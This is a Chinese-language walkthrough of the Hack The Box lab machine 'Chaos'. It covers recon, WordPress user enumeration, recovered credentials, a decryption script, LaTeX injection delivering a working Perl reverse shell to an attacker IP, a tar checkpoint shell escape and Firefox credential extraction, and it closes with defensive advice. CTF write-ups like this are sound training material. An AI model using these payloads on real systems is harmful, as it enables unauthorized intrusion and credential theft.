【HTB系列】靶机Chaos的渗透测试详解
字数 1353 2025-08-15 21:34:04
HTB靶机Chaos渗透测试教学文档
靶机信息
- 靶机IP: 10.10.10.120
- Kali IP: 10.10.12.87
- 操作系统: Ubuntu (Linux)
初始信息收集
Nmap扫描结果
nmap -sV -T5 -sC 10.10.10.120
开放端口及服务:
- 80/tcp - HTTP (Apache httpd 2.4.34)
- 110/tcp - POP3 (Dovecot pop3d)
- 143/tcp - IMAP (Dovecot imapd)
- 993/tcp - SSL/IMAP
- 995/tcp - SSL/POP3
- 10000/tcp - HTTP (MiniServ 1.890 - Webmin)
渗透测试步骤
1. Web服务探测
发现点:
- 直接通过IP访问80端口被拒绝
- 需要修改/etc/hosts文件添加域名解析:
10.10.10.120 chaos.htb
目录爆破:
gobuster dir -u http://chaos.htb -w /path/to/wordlist.txt
gobuster dir -u http://10.10.10.120 -w /path/to/wordlist.txt
发现:
- 通过IP访问发现WordPress路径(/wp)
2. WordPress扫描
使用WPScan扫描WordPress:
wpscan --url http://10.10.10.120/wp --enumerate u --tee wpscan_output.txt
发现:
- 用户名: human
3. 获取Webmail凭证
- 使用human作为密码访问加密文章
- 获得Webmail凭证:
用户名: ayush 密码: jiujitsu
4. 访问Webmail
修改hosts文件添加:
10.10.10.120 webmail.chaos.htb
访问webmail.chaos.htb并登录
发现:
- 草稿箱中有加密信息和加密脚本
- 提示"你就是密码",推测密码为"sahay"
5. 解密信息
加密脚本分析:
def encrypt(key, filename):
chunksize = 64*1024
outputFile = "en" + filename
filesize = str(os.path.getsize(filename)).zfill(16)
IV = Random.new().read(16)
encryptor = AES.new(key, AES.MODE_CBC, IV)
with open(filename, 'rb') as infile:
with open(outputFile, 'wb') as outfile:
outfile.write(filesize.encode('utf-8'))
outfile.write(IV)
while True:
chunk = infile.read(chunksize)
if len(chunk) == 0:
break
elif len(chunk) % 16 != 0:
chunk += b' ' * (16 - (len(chunk) % 16))
outfile.write(encryptor.encrypt(chunk))
def getKey(password):
hasher = SHA256.new(password.encode('utf-8'))
return hasher.digest()
解密脚本:
from Crypto.Hash import SHA256
from Crypto.Cipher import AES
import Crypto.Cipher.AES
from binascii import hexlify, unhexlify
def getKey(password):
hasher = SHA256.new(password.encode('utf-8'))
return hasher.digest()
if __name__=="__main__":
chunksize = 64*1024
mkey = getKey("sahay")
mIV = (b"0000000000000234")
decipher = AES.new(mkey,AES.MODE_CBC,mIV)
with open("enim_msg.txt", 'rb') as infile:
chunk = infile.read(chunksize)
plaintext = decipher.decrypt(chunk)
print(plaintext)
解密结果:
echo "SGlpIFNhaGF5CgpQbGVhc2UgY2hlY2sgb3VyIG5ldyBzZXJ2aWNlIHdoaWNoIGNyZWF0ZSBwZGYKCnAucyAtIEFzIHlvdSB0b2xkIG1lIHRvIGVuY3J5cHQgaW1wb3J0YW50IG1zZywgaSBkaWQgOikKCmh0dHA6Ly9jaGFvcy5odGIvSjAwX3cxbGxfZjFOZF9uMDdIMW45X0gzcjMKClRoYW5rcywKQXl1c2gK" | base64 -d
获取隐藏URL:
http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3
6. LaTeX服务利用
发现点:
- 该服务允许用户输入LaTeX文本并生成PDF
- PDF生成路径: http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3/pdf/
利用LaTeX执行系统命令:
\immediate\write18{perl -e 'use Socket;$i="你的IP地址";$p=端口;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'}
建立稳定shell:
python -c 'import pty; pty.spawn("/bin/bash")'
7. 权限提升
初始用户:
- www-data
尝试切换到ayush用户:
su ayush
密码: jiujitsu
受限shell绕过:
-
在www-data用户下创建恶意tar文件:
cd /tmp mkdir rick tar cf rick.tar rick -
在ayush用户下执行:
tar cf /dev/null rick.tar --checkpoint=1 --checkpoint-action=exec=/bin/bash -
修复PATH环境变量:
export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
8. 获取root权限
发现点:
- ayush用户目录下有.mozilla文件夹
- 使用firefox_decrypt提取Firefox凭证:
git clone https://github.com/unode/firefox_decrypt.git cd firefox_decrypt chmod +x firefox_decrypt.py ./firefox_decrypt.py
获取root密码:
- 主密码: jiujitsu
- 发现root密码相同
切换到root:
su root
密码: jiujitsu
关键知识点总结
-
域名解析影响:
- 通过IP和域名访问可能得到不同响应
- 需要正确配置/etc/hosts文件
-
WPScan使用:
- 扫描WordPress获取用户信息
- 命令:
wpscan --url [URL] --enumerate u
-
加密文件分析:
- 识别加密算法(AES-CBC)
- 编写对应解密脚本
- 注意IV向量的处理
-
LaTeX注入:
- \immediate\write18{}可执行系统命令
- 用于获取反向shell
-
受限shell绕过:
- 利用tar的checkpoint特性
- 修复PATH环境变量
-
Firefox凭证提取:
- 使用firefox_decrypt工具
- 需要主密码解密存储的凭证
防御建议
- 限制LaTeX服务的命令执行能力
- 避免在邮件中存储敏感凭证
- 使用不同的密码,避免密码重用
- 限制用户shell权限
- 定期检查并清理浏览器存储的凭证